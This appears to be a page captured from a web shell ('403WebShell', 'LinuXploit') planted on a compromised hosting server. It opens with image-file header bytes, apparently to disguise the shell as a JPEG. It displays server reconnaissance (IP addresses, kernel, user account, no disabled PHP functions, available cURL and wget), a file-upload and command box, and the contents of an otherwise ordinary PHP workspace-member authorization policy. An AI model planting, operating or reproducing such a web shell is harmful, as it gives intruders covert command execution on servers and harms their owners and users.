����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 18.220.98.157
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/builderbox/public_html/common/Workspaces/Policies/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/builderbox/public_html/common/Workspaces/Policies/WorkspaceMemberPolicy.php
<?php

namespace Common\Workspaces\Policies;

use App\User;
use Common\Core\Policies\BasePolicy;
use Common\Workspaces\Workspace;

class WorkspaceMemberPolicy extends BasePolicy
{
    public function store(User $currentUser, Workspace $workspace)
    {
        $member = $workspace->findMember($currentUser);

        if ( ! $member || ! $member->hasPermission('workspace_members.invite')) {
            return false;
        }

        $owner = $currentUser->id === $workspace->owner_id ? $currentUser : $workspace->owner;
        $maxMemberCount = $owner->getRestrictionValue('workspaces.create', 'member_count');

        if ( ! $maxMemberCount) {
            return true;
        }

        if ($workspace->members()->count() >= $maxMemberCount) {
            $message = __('policies.workspace_member_quota_exceeded');
            return $this->denyWithAction($message, $owner->id === $currentUser->id ? $this->upgradeAction() : null);
        }

        return true;
    }

    public function update(User $currentUser, Workspace $workspace)
    {
        if ($workspace->isOwner($currentUser)) {
            return true;
        } else {
            return $workspace->findMember($currentUser)->hasPermission('workspace_members.update');
        }
    }

    public function destroy(User $currentUser, Workspace $workspace, int $userId = null)
    {
        if ($workspace->isOwner($currentUser)) {
            return true;
        } else if ($currentUser->id === $userId) {
            // user is trying to delete their own membership, aka leaving workspace
            return true;
        } else {
            return $workspace->findMember($currentUser)->hasPermission('workspace_members.delete');
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit